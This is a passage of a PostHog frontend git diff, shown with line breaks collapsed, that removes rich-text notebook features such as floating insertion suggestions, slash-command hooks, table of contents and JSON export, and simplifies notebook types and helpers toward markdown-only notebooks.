'@posthog/lemon-ui'import { AccessDenied } from 'lib/components/AccessDenied'@@ -17,24 +17,20 @@ import { SceneExport } from 'scenes/sceneTypes'import { SceneBreadcrumbBackButton } from '~/layout/scenes/components/SceneBreadcrumbs'-import { isMarkdownNotebookContent } from './Notebook/markdownNotebookV2'import { Notebook } from './Notebook/Notebook'import { NotebookLoadingState } from './Notebook/NotebookLoadingState'import { notebookLogic } from './Notebook/notebookLogic'import {- NotebookCollabStatus,NotebookExpandButton,NotebookKernelInfoButton,NotebookPresence,NotebookSyncInfo,- NotebookTableOfContentsButton,} from './Notebook/NotebookMeta'import { NotebookShareModal } from './Notebook/NotebookShareModal'import { NotebookMenu } from './NotebookMenu'import { notebookPanelLogic } from './NotebookPanel/notebookPanelLogic'import { NotebookSceneLogicProps, notebookSceneLogic } from './notebookSceneLogic'import { NotebookSceneMenuBar } from './NotebookSceneMenuBar'-import { LOCAL_NOTEBOOK_TEMPLATES } from './NotebookTemplates/notebookTemplates'import { NotebookTarget } from './types'interface NotebookSceneProps {@@ -52,10 +48,9 @@ export const scene: SceneExport<NotebookSceneLogicProps> = {export function NotebookScene(): JSX.Element {const { notebookId, loading } = useValues(notebookSceneLogic)const { createNotebook } = useActions(notebookSceneLogic)- const { notebook, content, conflictWarningVisible, accessDeniedToNotebook } = useValues(+ const { notebook, accessDeniedToNotebook } = useValues(notebookLogic({ shortId: notebookId, target: NotebookTarget.Scene }))- const isMarkdownNotebook = isMarkdownNotebookContent(content)const { selectNotebook, closeSidePanel } = useActions(notebookPanelLogic)const { selectedNotebook, visibility } = useValues(notebookPanelLogic)const [isMarkdownSourceOpen, setIsMarkdownSourceOpen] = useState(false)@@ -93,14 +88,14 @@ export function NotebookScene(): JSX.Element {useFileSystemLogView({type: 'notebook',ref: notebook?.short_id,- enabled: Boolean(notebook?.short_id && notebookId !== 'new' && !loading && !conflictWarningVisible),+ enabled: Boolean(notebook?.short_id && notebookId !== 'new' && !loading),})if (accessDeniedToNotebook) {return <AccessDenied object="notebook" />}- if (!notebook && !loading && !conflictWarningVisible) {+ if (!notebook && !loading) {return <NotFound object="notebook" />}@@ -140,55 +135,19 @@ export function NotebookScene(): JSX.Element {</div><div className="flex gap-2 items-center">- <NotebookCollabStatus shortId={notebookId} /><NotebookSyncInfo shortId={notebookId} /><NotebookPresence shortId={notebookId} />{!sceneMenuBarEnabled && <NotebookMenu shortId={notebookId} />}- {!isMarkdownNotebook ? (- <>- <LemonButton- type="secondary"- icon={<IconInfo />}- size="small"- onClick={() => {- if (- selectedNotebook === LOCAL_NOTEBOOK_TEMPLATES[0].short_id &&- visibility === 'visible'- ) {- closeSidePanel()- } else {- selectNotebook(LOCAL_NOTEBOOK_TEMPLATES[0].short_id)- }- }}- >- {selectedNotebook === LOCAL_NOTEBOOK_TEMPLATES[0].short_id && visibility === 'visible'- ? 'Close '- : ''}- Guide- </LemonButton>- {/* Moved into the View menu under SCENE_MENU_BAR. */}- {!sceneMenuBarEnabled && <NotebookTableOfContentsButton type="secondary" size="small" />}- </>- ) : null}{!sceneMenuBarEnabled && (<NotebookKernelInfoButtontype="secondary"size="small"- onBeforeShowKernelInfo={- isMarkdownNotebook ? () => setIsMarkdownSourceOpen(false) : undefined- }- />- )}- {!sceneMenuBarEnabled && (- <NotebookExpandButton- type="secondary"- size="small"- inPanel={false}- isMarkdownNotebook={isMarkdownNotebook}+ onBeforeShowKernelInfo={() => setIsMarkdownSourceOpen(false)}/>)}+ {!sceneMenuBarEnabled && <NotebookExpandButton type="secondary" size="small" inPanel={false} />}{!sceneMenuBarEnabled && (<LemonButtontype="secondary"diff --git a/frontend/src/scenes/notebooks/NotebookSceneMenuBar.tsx b/frontend/src/scenes/notebooks/NotebookSceneMenuBar.tsxindex 4fe835944031..a2137a1cec91 100644--- a/frontend/src/scenes/notebooks/NotebookSceneMenuBar.tsx+++ b/frontend/src/scenes/notebooks/NotebookSceneMenuBar.tsx@@ -17,7 +17,6 @@ import {} from '~/layout/scenes/components/SceneMenuBar'import { notebooksModel } from '~/models/notebooksModel'-import { isMarkdownNotebookContent } from './Notebook/markdownNotebookV2'import { notebookLogic } from './Notebook/notebookLogic'import { notebookSettingsLogic } from './Notebook/notebookSettingsLogic'import { notebookPanelLogic } from './NotebookPanel/notebookPanelLogic'@@ -34,50 +33,33 @@ export function NotebookSceneMenuBar({ shortId }: { shortId: string }): JSX.Elemfunction NotebookSceneMenuBarInner({ shortId }: { shortId: string }): JSX.Element {const logic = notebookLogic({ shortId })- const { notebook, showHistory, isLocalOnly, content } = useValues(logic)- const { openShareModal, duplicateNotebook, exportJSON, downloadMarkdown, copyMarkdown, setShowHistory } =- useActions(logic)+ const { notebook, showHistory, isLocalOnly } = useValues(logic)+ const { openShareModal, duplicateNotebook, downloadMarkdown, copyMarkdown, setShowHistory } = useActions(logic)const { featureFlags } = useValues(featureFlagLogic)- const { showTableOfContents, isExpanded, isMarkdownExpanded, showKernelInfo } = useValues(notebookSettingsLogic)- const { setShowTableOfContents, setIsExpanded, setIsMarkdownExpanded, setShowKernelInfo } =- useActions(notebookSettingsLogic)+ const { isMarkdownExpanded, showKernelInfo } = useValues(notebookSettingsLogic)+ const { setIsMarkdownExpanded, setShowKernelInfo } = useActions(notebookSettingsLogic)const { selectNotebook } = useActions(notebookPanelLogic)- const isMarkdownNotebook = isMarkdownNotebookContent(content)const canDelete = !isLocalOnly && !notebook?.is_templateconst showKernelToggle = !!featureFlags[FEATURE_FLAGS.NOTEBOOK_PYTHON]- const isContentWidthExpanded = isMarkdownNotebook ? isMarkdownExpanded : isExpanded- const setContentWidthExpanded = isMarkdownNotebook ? setIsMarkdownExpanded : setIsExpandedreturn (<SceneMenuBar><SceneMenuBarMenu label="File" dataAttr={`${RESOURCE_TYPE}-menubar-file`}><SceneMenuBarSubMenu label="Export">- {isMarkdownNotebook ? (- <>- <SceneMenuBarItem- onClick={() => downloadMarkdown()}- data-attr={`${RESOURCE_TYPE}-menubar-download-markdown`}- >- <IconDownload />- Download .md- </SceneMenuBarItem>- <SceneMenuBarItem- onClick={() => copyMarkdown()}- data-attr={`${RESOURCE_TYPE}-menubar-copy-markdown`}- >- <IconCopy />- Copy markdown- </SceneMenuBarItem>- </>- ) : (- <SceneMenuBarItem- onClick={() => exportJSON()}- data-attr={`${RESOURCE_TYPE}-menubar-export-json`}- >- <IconDownload />- Export JSON- </SceneMenuBarItem>- )}+ <SceneMenuBarItem+ onClick={() => downloadMarkdown()}+ data-attr={`${RESOURCE_TYPE}-menubar-download-markdown`}+ >+ <IconDownload />+ Download .md+ </SceneMenuBarItem>+ <SceneMenuBarItem+ onClick={() => copyMarkdown()}+ data-attr={`${RESOURCE_TYPE}-menubar-copy-markdown`}+ >+ <IconCopy />+ Copy markdown+ </SceneMenuBarItem></SceneMenuBarSubMenu><SceneMenuBarItemopensFloatingUi@@ -119,19 +101,9 @@ function NotebookSceneMenuBarInner({ shortId }: { shortId: string }): JSX.Elemen</SceneMenuBarCheckboxItem></SceneMenuBarMenu><SceneMenuBarMenu label="View" dataAttr={`${RESOURCE_TYPE}-menubar-view`}>- {/* Table of contents only applies to rich (non-markdown) notebooks. */}- {!isMarkdownNotebook && (- <SceneMenuBarCheckboxItem- checked={showTableOfContents}- onCheckedChange={(checked) => setShowTableOfContents(checked)}- data-attr={`${RESOURCE_TYPE}-menubar-toc`}- >- Table of contents- </SceneMenuBarCheckboxItem>- )}<SceneMenuBarCheckboxItem- checked={isContentWidthExpanded}- onCheckedChange={(checked) => setContentWidthExpanded(checked)}+ checked={isMarkdownExpanded}+ onCheckedChange={(checked) => setIsMarkdownExpanded(checked)}data-attr={`${RESOURCE_TYPE}-menubar-fill-width`}>Fill content widthdiff --git a/frontend/src/scenes/notebooks/NotebookSelectButton/NotebookSelectButton.tsx b/frontend/src/scenes/notebooks/NotebookSelectButton/NotebookSelectButton.tsxindex 87d79cb3fa5e..f2adbcdec382 100644--- a/frontend/src/scenes/notebooks/NotebookSelectButton/NotebookSelectButton.tsx+++ b/frontend/src/scenes/notebooks/NotebookSelectButton/NotebookSelectButton.tsx@@ -145,8 +145,7 @@ export function NotebookSelectList(props: NotebookSelectProps): JSX.Element {const { createNotebook } = useActions(notebooksModel)const openAndAddToNotebook = (notebookShortId: string, exists: boolean): void => {- const position = props.resource ? 'end' : 'start'- void openNotebook(notebookShortId, NotebookTarget.Popover, position, (theNotebookLogic) => {+ void openNotebook(notebookShortId, NotebookTarget.Popover, (theNotebookLogic) => {if (!exists && props.resource) {theNotebookLogic.actions.insertAfterLastNode([props.resource])}diff --git a/frontend/src/scenes/notebooks/Suggestions/FloatingSuggestions.scss b/frontend/src/scenes/notebooks/Suggestions/FloatingSuggestions.scssdeleted file mode 100644index 80e60079591f..000000000000--- a/frontend/src/scenes/notebooks/Suggestions/FloatingSuggestions.scss+++ /dev/null@@ -1,10 +0,0 @@-.FloatingSuggestion {- position: absolute;- height: 1.375rem;-}--.NotebookFloatingButton {- position: absolute;- left: 0;- z-index: var(--z-popover);-}diff --git a/frontend/src/scenes/notebooks/Suggestions/FloatingSuggestions.test.tsx b/frontend/src/scenes/notebooks/Suggestions/FloatingSuggestions.test.tsxdeleted file mode 100644index ff6243e2828c..000000000000--- a/frontend/src/scenes/notebooks/Suggestions/FloatingSuggestions.test.tsx+++ /dev/null@@ -1,152 +0,0 @@-import '@testing-library/jest-dom'--import { act, cleanup, render } from '@testing-library/react'-import { BindLogic } from 'kea'--import { richContentEditorLogic } from 'lib/components/RichContentEditor/richContentEditorLogic'-import { useResizeObserver } from 'lib/hooks/useResizeObserver'--import { initKeaTests } from '~/test/init'--import { isCurrentNodeEmpty } from '../utils'-import { FloatingSuggestions } from './FloatingSuggestions'--jest.mock('lib/hooks/useResizeObserver', () => ({- useResizeObserver: jest.fn(),-}))--jest.mock('../utils', () => ({- isCurrentNodeEmpty: jest.fn(),-}))--// The fallback suggestion renders a popover we don't care about here — stub its view.-jest.mock('./SlashCommands', () => ({- __esModule: true,- default: { Component: () => null },-}))--describe('FloatingSuggestions', () => {- const setRef = jest.fn()- let mountHandler: (() => void) | undefined- let updateHandler: (() => void) | undefined- let editorView: { dom: HTMLElement } | null- const flags = { hasFocus: false, isEditable: false, isActiveParagraph: false }-- // In tiptap v3 `editor.view` is a throwing proxy until the ProseMirror view mounts, so the- // component reads `editorView` (via getTiptapEditorDom) and binds the observer on the 'mount' event.- const fakeEditor = {- on: jest.fn((event: string, cb: () => void) => {- if (event === 'mount') {- mountHandler = cb- }- if (event === 'update' || event === 'selectionUpdate') {- updateHandler = cb- }- }),- off: jest.fn(),- isDestroyed: false,- isActive: (name: string) => name === 'paragraph' && flags.isActiveParagraph,- get isEditable() {- return flags.isEditable- },- view: { hasFocus: () => flags.hasFocus },- get editorView() {- return editorView- },- }-- const renderComponent = (): ReturnType<typeof render> =>- render(- <BindLogic logic={richContentEditorLogic} props={{ logicKey: 'test', editor: fakeEditor as any }}>- <FloatingSuggestions />- </BindLogic>- )-- const isSuggestionVisible = (container: HTMLElement): boolean =>- container.querySelector('.FloatingSuggestion') !== null-- beforeEach(() => {- initKeaTests()- jest.clearAllMocks()- mountHandler = undefined- updateHandler = undefined- editorView = null- flags.hasFocus = false- flags.isEditable = false- flags.isActiveParagraph = false- jest.mocked(useResizeObserver).mockReturnValue({ ref: setRef, height: 0 } as any)- jest.mocked(isCurrentNodeEmpty).mockReturnValue(false)- })-- afterEach(() => {- cleanup()- })-- describe('resize observer lifecycle', () => {- it('does not throw or attach the observer when the view is not mounted yet', () => {- expect(() => renderComponent()).not.toThrow()- expect(setRef).not.toHaveBeenCalled()- })-- it('attaches the observer to the editor dom when the view is already mounted', () => {- const dom = document.createElement('div')- editorView = { dom }-- renderComponent()-- expect(setRef).toHaveBeenCalledWith(dom)- })-- it('attaches the observer once the view (re)mounts — AI notebooks rebuild the editor', () => {- renderComponent()- expect(setRef).not.toHaveBeenCalled()-- const dom = document.createElement('div')- editorView = { dom }- mountHandler?.()-- expect(setRef).toHaveBeenCalledWith(dom)- })- })-- describe('suggestion visibility', () => {- const allConditionsMet = { hasFocus: true, isEditable: true, isActiveParagraph: true, nodeEmpty: true }-- it.each([- ['all conditions met', allConditionsMet, true],- ['editor is not focused', { ...allConditionsMet, hasFocus: false }, false],- ['editor is not editable', { ...allConditionsMet, isEditable: false }, false],- ['cursor is not in a paragraph', { ...allConditionsMet, isActiveParagraph: false }, false],- ['current node is not empty', { ...allConditionsMet, nodeEmpty: false }, false],- ])('shows the suggestion only when %s', (_label, conditions, expected) => {- editorView = { dom: document.createElement('div') }- flags.hasFocus = conditions.hasFocus- flags.isEditable = conditions.isEditable- flags.isActiveParagraph = conditions.isActiveParagraph- jest.mocked(isCurrentNodeEmpty).mockReturnValue(conditions.nodeEmpty)-- const { container } = renderComponent()-- expect(isSuggestionVisible(container)).toBe(expected)- })-- it('re-evaluates visibility when the editor fires an update', () => {- editorView = { dom: document.createElement('div') }- flags.hasFocus = true- flags.isEditable = true- flags.isActiveParagraph = true- jest.mocked(isCurrentNodeEmpty).mockReturnValue(true)-- const { container } = renderComponent()- expect(isSuggestionVisible(container)).toBe(true)-- // Typing fills the node, so it should hide on the next editor update.- jest.mocked(isCurrentNodeEmpty).mockReturnValue(false)- act(() => {- updateHandler?.()- })-- expect(isSuggestionVisible(container)).toBe(false)- })- })-})diff --git a/frontend/src/scenes/notebooks/Suggestions/FloatingSuggestions.tsx b/frontend/src/scenes/notebooks/Suggestions/FloatingSuggestions.tsxdeleted file mode 100644index 6bb48bb604ee..000000000000--- a/frontend/src/scenes/notebooks/Suggestions/FloatingSuggestions.tsx+++ /dev/null@@ -1,85 +0,0 @@-import './FloatingSuggestions.scss'--import { useValues } from 'kea'-import { useEffect, useState } from 'react'--import { getTiptapEditorDom } from 'lib/components/MarkdownEditor/shared/tiptapEditorDom'-import { richContentEditorLogic } from 'lib/components/RichContentEditor/richContentEditorLogic'-import { useOnMountEffect } from 'lib/hooks/useOnMountEffect'-import { useResizeObserver } from 'lib/hooks/useResizeObserver'--import { isCurrentNodeEmpty } from '../utils'-import { insertionSuggestionsLogic } from './insertionSuggestionsLogic'--export function FloatingSuggestions(): JSX.Element | null {- const logic = insertionSuggestionsLogic()- const { ttEditor, richContentEditor } = useValues(richContentEditorLogic)- const { activeSuggestion, previousNode } = useValues(logic)- const { ref: setRef, height } = useResizeObserver()- const [shouldShow, setShouldShow] = useState<boolean>(false)-- const [position, setPosition] = useState<{ top: number }>({ top: 0 })-- const { Component } = activeSuggestion-- const handleUpdate = (): void => {- const dom = getTiptapEditorDom(ttEditor)- if (!dom) {- return- }-- const selection = window.getSelection()-- if (selection && selection.anchorNode && selection.anchorNode.parentElement) {- if (selection.anchorNode.nodeType === Node.ELEMENT_NODE) {- const editorPos = dom.getBoundingClientRect()- const selectionPos = (selection.anchorNode as HTMLElement).getBoundingClientRect()-- setPosition({ top: selectionPos.top - editorPos.top })- }- }-- setShouldShow(- ttEditor.view.hasFocus() &&- ttEditor.isEditable &&- ttEditor.isActive('paragraph') &&- isCurrentNodeEmpty(ttEditor)- )- }-- useEffect(() => {- handleUpdate()- }, [height]) // oxlint-disable-line exhaustive-deps-- useOnMountEffect(() => {- const attachToDom = (): void => {- const dom = getTiptapEditorDom(ttEditor)- if (dom) {- setRef(dom)- }- }-- ttEditor.on('update', handleUpdate)- ttEditor.on('selectionUpdate', handleUpdate)- // Re-point the observer whenever the view (re)mounts — AI notebooks rebuild the editor.- ttEditor.on('mount', attachToDom)- attachToDom() // 'mount' only fires on future (re)mounts, so attach now if the view is already up-- return () => {- ttEditor.off('update', handleUpdate)- ttEditor.off('selectionUpdate', handleUpdate)- ttEditor.off('mount', attachToDom)- }- })-- return (- // eslint-disable-next-line react/forbid-dom-props- <div className="NotebookFloatingButton" style={{ top: position.top }}>- {shouldShow && (- <div className="FloatingSuggestion flex items-center justify-content">- {Component && <Component previousNode={previousNode} editor={richContentEditor} />}- </div>- )}- </div>- )-}diff --git a/frontend/src/scenes/notebooks/Suggestions/InsertionSuggestion.tsx b/frontend/src/scenes/notebooks/Suggestions/InsertionSuggestion.tsxdeleted file mode 100644index 3a2ab48cef8b..000000000000--- a/frontend/src/scenes/notebooks/Suggestions/InsertionSuggestion.tsx+++ /dev/null@@ -1,44 +0,0 @@-import { RichContentEditorType, RichContentNode } from 'lib/components/RichContentEditor/types'--export type InsertionSuggestionViewProps = {- previousNode: RichContentNode | null- editor: RichContentEditorType-}--interface InsertionSuggestionConfig {- shouldShow: boolean | (({ previousNode }: { previousNode: RichContentNode | null }) => boolean)- Component: (props: InsertionSuggestionViewProps) => JSX.Element- onTab?: ({- editor,- previousNode,- }: {- editor: RichContentEditorType | null- previousNode: RichContentNode | null- }) => void-}--export class InsertionSuggestion {- dismissed = false- shouldShow: boolean | (({ previousNode }: { previousNode: RichContentNode | null }) => boolean) = false- onTab: ({- editor,- previousNode,- }: {- editor: RichContentEditorType | null- previousNode: RichContentNode | null- }) => void = () => {}- Component: (props: InsertionSuggestionViewProps) => JSX.Element-- constructor(config: InsertionSuggestionConfig) {- this.shouldShow = config.shouldShow- this.Component = config.Component-- if (config.onTab) {- this.onTab = config.onTab- }- }-- static create(config: InsertionSuggestionConfig): InsertionSuggestion {- return new InsertionSuggestion(config)- }-}diff --git a/frontend/src/scenes/notebooks/Suggestions/SlashCommands.tsx b/frontend/src/scenes/notebooks/Suggestions/SlashCommands.tsxdeleted file mode 100644index 60e5d7320168..000000000000--- a/frontend/src/scenes/notebooks/Suggestions/SlashCommands.tsx+++ /dev/null@@ -1,32 +0,0 @@-import { useState } from 'react'--import { IconPlus } from '@posthog/icons'-import { LemonButton } from '@posthog/lemon-ui'--import { SlashCommandsPopover } from '../Notebook/SlashCommands'-import { InsertionSuggestion, InsertionSuggestionViewProps } from './InsertionSuggestion'--const Component = ({ editor }: InsertionSuggestionViewProps): JSX.Element => {- const [visible, setVisible] = useState<boolean>(false)-- const onClick = (): void => {- editor.focus()- setVisible(true)- }-- return (- <SlashCommandsPopover- mode="add"- visible={visible}- getPos={editor?.getCurrentPosition}- onClose={() => setVisible(false)}- >- <LemonButton size="xsmall" icon={<IconPlus />} onClick={onClick} />- </SlashCommandsPopover>- )-}--export default InsertionSuggestion.create({- shouldShow: true,- Component,-})diff --git a/frontend/src/scenes/notebooks/Suggestions/insertionSuggestionsLogic.ts b/frontend/src/scenes/notebooks/Suggestions/insertionSuggestionsLogic.tsdeleted file mode 100644index c2a118077539..000000000000--- a/frontend/src/scenes/notebooks/Suggestions/insertionSuggestionsLogic.ts+++ /dev/null@@ -1,122 +0,0 @@-import { MakeLogicType, actions, events, kea, listeners, path, reducers, selectors } from 'kea'--import { RichContentEditorType, RichContentNode } from 'lib/components/RichContentEditor/types'--import { InsertionSuggestion } from './InsertionSuggestion'-import SlashCommands from './SlashCommands'--// Generated by kea-typegen. Update if you're an agent, ignore if you're human.-export interface insertionSuggestionsLogicValues {- activeSuggestion: InsertionSuggestion- editor: RichContentEditorType | null- previousNode: RichContentNode | null- suggestions: InsertionSuggestion[]-}--// Generated by kea-typegen. Update if you're an agent, ignore if you're human.-export interface insertionSuggestionsLogicActions {- onEscape: () => {- value: true- }- onTab: () => {- value: true- }- resetSuggestions: () => {- value: true- }- setEditor: (editor: RichContentEditorType | null) => {- editor: RichContentEditorType | null- }- setPreviousNode: (node: RichContentNode | null) => {- node: RichContentNode | null- }- setSuggestions: (suggestions: InsertionSuggestion[]) => {- suggestions: InsertionSuggestion[]- }-}--export type insertionSuggestionsLogicType = MakeLogicType<- insertionSuggestionsLogicValues,- insertionSuggestionsLogicActions->--export const insertionSuggestionsLogic = kea<insertionSuggestionsLogicType>([- path(['scenes', 'notebooks', 'Suggestions', 'insertionSuggestionsLogic']),-- actions({- setEditor: (editor: RichContentEditorType | null) => ({ editor }),- setPreviousNode: (node: RichContentNode | null) => ({ node }),- setSuggestions: (suggestions: InsertionSuggestion[]) => ({ suggestions }),- resetSuggestions: true,- onTab: true,- onEscape: true,- }),- reducers({- suggestions: [- [] as InsertionSuggestion[],- {- setSuggestions: (_, { suggestions }) => suggestions,- },- ],- previousNode: [- null as RichContentNode | null,- {- setPreviousNode: (_, { node }) => node,- },- ],- editor: [- null as RichContentEditorType | null,- {- setEditor: (_, { editor }) => editor,- },- ],- }),- selectors({- activeSuggestion: [- (s) => [s.suggestions, s.previousNode],- (suggestions: InsertionSuggestion[], previousNode: RichContentNode): InsertionSuggestion =>- suggestions.find(- ({ dismissed, shouldShow }) =>- !dismissed && (typeof shouldShow === 'function' ? shouldShow({ previousNode }) : shouldShow)- ) || SlashCommands,- ],- }),- listeners(({ values, actions }) => ({- resetSuggestions: () => {- const nextSuggestions = values.suggestions.map((suggestion) => {- return { ...suggestion, dismissed: false }- })- actions.setSuggestions(nextSuggestions)- },-- onTab: () => {- values.activeSuggestion?.onTab({ editor: values.editor, previousNode: values.previousNode })- },-- onEscape: () => {- if (values.activeSuggestion) {- const newSuggestion = { ...values.activeSuggestion, dismissed: true }- const nextSuggestions = values.suggestions.map((suggestion) =>- suggestion === values.activeSuggestion ? newSuggestion : suggestion- )- actions.setSuggestions(nextSuggestions)- }- },- })),- events(({ actions, cache }) => ({- afterMount: () => {- cache.disposables.add(() => {- const onKeyDown = (e: KeyboardEvent): void => {- if (e.key === 'Tab') {- e.preventDefault()- actions.onTab()- } else if (e.key === 'Escape') {- actions.onEscape()- }- }- window.addEventListener('keydown', onKeyDown)- return () => window.removeEventListener('keydown', onKeyDown)- }, 'keydownListener')- },- })),-])diff --git a/frontend/src/scenes/notebooks/types.ts b/frontend/src/scenes/notebooks/types.tsindex df32a80dc408..ee9a85a88de3 100644--- a/frontend/src/scenes/notebooks/types.ts+++ b/frontend/src/scenes/notebooks/types.ts@@ -1,20 +1,11 @@-import { Attribute, ExtendedRegExpMatchArray } from '@tiptap/core'-import { LemonButtonProps } from '@posthog/lemon-ui'-import {- JSONContent,- RichContentEditorType,- RichContentNode,- RichContentNodeType,-} from 'lib/components/RichContentEditor/types'+import { JSONContent, RichContentNode, RichContentNodeType } from 'lib/components/RichContentEditor/types'import { UserBasicType, WithAccessControl } from '~/types'import type { NotebookNodeLogicProps } from './Nodes/notebookNodeLogic'-export type { TableOfContentData } from '@tiptap/extension-table-of-contents'-export type NotebookListItemType = {id: stringshort_id: string@@ -101,20 +92,16 @@ export type NotebookPopoverVisibility = 'hidden' | 'visible' | 'peek'export type CustomNotebookNodeAttributes = Record<string, any>+export type NotebookNodeAttributeConfig = {+ default?: unknown+}+export type CreatePostHogWidgetNodeOptions<T extends CustomNotebookNodeAttributes> = Omit<NodeWrapperProps<T>,'updateAttributes'> & {Component: (props: NotebookNodeProps<T>) => JSX.Element | null- pasteOptions?: {- find: string | RegExp- getAttributes: (match: ExtendedRegExpMatchArray) => Promise<T | null | undefined> | T | null | undefined- }- inputOptions?: {- find: string | RegExp- getAttributes: (match: ExtendedRegExpMatchArray) => Promise<T | null | undefined> | T | null | undefined- }- attributes: Record<keyof T, Partial<Attribute>>+ attributes: Record<keyof T, NotebookNodeAttributeConfig>serializedText?: (attributes: NotebookNodeAttributes<T>) => string}@@ -165,20 +152,3 @@ export type NotebookNodeAction = Pick<LemonButtonProps, 'icon'> & {text: stringonClick: () => void}--export interface NotebookEditor extends RichContentEditorType {- findCommentPosition: (markId: string) => number | null- getAllCommentTexts: () => Record<string, string>- removeComment: (pos: number) => void- getText: () => string-}--declare module '@tiptap/core' {- interface NodeConfig {- // TODO: Not a big fan of any here but it's ok for now- // the Node type should probably not be augmented with a new method as we are- // instead we should probably make a new extension type that does what we want- // or have some kind of wrapper around the existing Node- serializedText: (attrs: NotebookNodeAttributes<any>) => string- }-}diff --git a/frontend/src/scenes/notebooks/utils.ts b/frontend/src/scenes/notebooks/utils.tsindex 66187303ba1a..9fbe10de75eb 100644--- a/frontend/src/scenes/notebooks/utils.ts+++ b/frontend/src/scenes/notebooks/utils.ts@@ -1,97 +1,11 @@-// Helpers for Kea issue with double importing-import { TextSerializer, getText } from '@tiptap/core'--import { JSONContent, RichContentNode, TTEditor } from 'lib/components/RichContentEditor/types'+import { JSONContent } from 'lib/components/RichContentEditor/types'import { buildMarkdownNotebookContent, convertNotebookContentToMarkdown } from './Notebook/markdownNotebookV2'-import { CreatePostHogWidgetNodeOptions, NotebookNodeType } from './types'+import { CreatePostHogWidgetNodeOptions } from './types'export const KNOWN_NODES: Record<string, CreatePostHogWidgetNodeOptions<any>> = {}-// Loosely based on https://github.com/ueberdosis/tiptap/blob/develop/packages/extension-floating-menu/src/floating-menu-plugin.ts#LL38C3-L55C4-export const isCurrentNodeEmpty = (editor: TTEditor): boolean => {- const selection = editor.state.selection- const { $anchor, empty } = selection- const isEmptyTextBlock =- $anchor.parent.isTextblock &&- !$anchor.parent.type.spec.code &&- $anchor.depth <= 1 &&- !textContent($anchor.parent)-- if (empty && isEmptyTextBlock) {- return true- }-- return false-}--export const textContent = (node: RichContentNode): string => {- // we've extended the node schema to support a custom serializedText function- // each custom node type needs to implement this function, or have an alternative in the map below- const customOrTitleSerializer: TextSerializer = (props): string => {- // TipTap chooses whether to add a separator based on a couple of factors- // but, we always want a separator since this text is for search purposes- const serializedText = props.node.type.spec.serializedText?.(props.node.attrs) || props.node.attrs?.title || ''- if (serializedText.length > 0 && serializedText[serializedText.length - 1] !== '\n') {- return serializedText + '\n'- }- return serializedText- }-- // we want the type system to complain if we forget to add a custom serializer- const customNodeTextSerializers: Record<NotebookNodeType, TextSerializer> = {- [NotebookNodeType.Backlink]: customOrTitleSerializer,- [NotebookNodeType.EarlyAccessFeature]: customOrTitleSerializer,- [NotebookNodeType.Experiment]: customOrTitleSerializer,- [NotebookNodeType.FeatureFlag]: customOrTitleSerializer,- [NotebookNodeType.FeatureFlagCodeExample]: customOrTitleSerializer,- [NotebookNodeType.Image]: customOrTitleSerializer,- [NotebookNodeType.Person]: customOrTitleSerializer,- [NotebookNodeType.Query]: customOrTitleSerializer,- [NotebookNodeType.Python]: customOrTitleSerializer,- [NotebookNodeType.PythonV2]: customOrTitleSerializer,- [NotebookNodeType.DuckSQL]: customOrTitleSerializer,- [NotebookNodeType.HogQLSQL]: customOrTitleSerializer,- [NotebookNodeType.SQLV2]: customOrTitleSerializer,- [NotebookNodeType.Recording]: customOrTitleSerializer,- [NotebookNodeType.LLMTrace]: customOrTitleSerializer,- [NotebookNodeType.Issues]: customOrTitleSerializer,- [NotebookNodeType.RecordingPlaylist]: customOrTitleSerializer,- [NotebookNodeType.ReplayTimestamp]: customOrTitleSerializer,- [NotebookNodeType.Survey]: customOrTitleSerializer,- [NotebookNodeType.Group]: customOrTitleSerializer,- [NotebookNodeType.Cohort]: customOrTitleSerializer,- [NotebookNodeType.PersonFeed]: customOrTitleSerializer,- [NotebookNodeType.PersonProperties]: customOrTitleSerializer,- [NotebookNodeType.GroupProperties]: customOrTitleSerializer,- [NotebookNodeType.Map]: customOrTitleSerializer,- [NotebookNodeType.Mention]: customOrTitleSerializer,- [NotebookNodeType.Embed]: customOrTitleSerializer,- [NotebookNodeType.Latex]: customOrTitleSerializer,- [NotebookNodeType.TaskCreate]: customOrTitleSerializer,- [NotebookNodeType.UsageMetrics]: customOrTitleSerializer,- [NotebookNodeType.ZendeskTickets]: customOrTitleSerializer,- [NotebookNodeType.RelatedGroups]: customOrTitleSerializer,- [NotebookNodeType.CustomerJourney]: customOrTitleSerializer,- [NotebookNodeType.SupportTickets]: customOrTitleSerializer,- [NotebookNodeType.MarkdownNotebook]: customOrTitleSerializer,- }-- return getText(node, {- blockSeparator: '\n',- textSerializers: customNodeTextSerializers,- })-}--type DefaultNotebookContentOptions = {- markdown?: boolean-}--export function defaultNotebookContent(- title?: string,- content?: JSONContent[],- options: DefaultNotebookContentOptions = {}-): JSONContent {+export function defaultNotebookContent(title?: string, content?: JSONContent[]): JSONContent {const initialContent = [{type: 'heading',@@ -106,11 +20,7 @@ export function defaultNotebookContent(const richContent: JSONContent = { type: 'doc', content: initialContent }- if (options.markdown) {- return buildMarkdownNotebookContent(convertNotebookContentToMarkdown(richContent))- }-- return richContent+ return buildMarkdownNotebookContent(convertNotebookContentToMarkdown(richContent))}export function updateContentHeading(content: JSONContent, newTitle: string): JSONContent {diff --git a/frontend/src/scenes/saved-insights/AddSavedInsightsToNotebook.tsx b/frontend/src/scenes/saved-insights/AddSavedInsightsToNotebook.tsxdeleted file mode 100644index 62cbb491ddb9..000000000000--- a/frontend/src/scenes/saved-insights/AddSavedInsightsToNotebook.tsx+++ /dev/null@@ -1,23 +0,0 @@-import { useActions, useValues } from 'kea'--import { notebookLogic } from 'scenes/notebooks/Notebook/notebookLogic'--import { QueryBasedInsightModel } from '~/types'--import { SavedInsightsTable } from './SavedInsightsTable'--export function AddSavedInsightsToNotebook({ insertionPosition }: { insertionPosition: number | null }): JSX.Element {- const { insightShortIdsInNotebook } = useValues(notebookLogic)- const { addSavedInsightToNotebook } = useActions(notebookLogic)-- return (- <SavedInsightsTable- isSelected={(insight: QueryBasedInsightModel) =>- insightShortIdsInNotebook?.includes(insight.short_id) ?? false- }- onToggle={(insight: QueryBasedInsightModel) =>- addSavedInsightToNotebook(insight.short_id, insertionPosition)- }- />- )-}diff --git a/playwright/e2e/product-analytics/notebooks.spec.ts b/playwright/e2e/product-analytics/notebooks.spec.tsindex eff634d5d67d..10b3d2582b61 100644--- a/playwright/e2e/product-analytics/notebooks.spec.ts+++ b/playwright/e2e/product-analytics/notebooks.spec.ts@@ -140,14 +140,8 @@ test.describe('Notebooks', () => {await test.step('type text content in the notebook', async () => {const savePromise = notebook.waitForSave()- // Click the editor container to trigger trailing paragraph creation,- // then wait for the editable textbox to 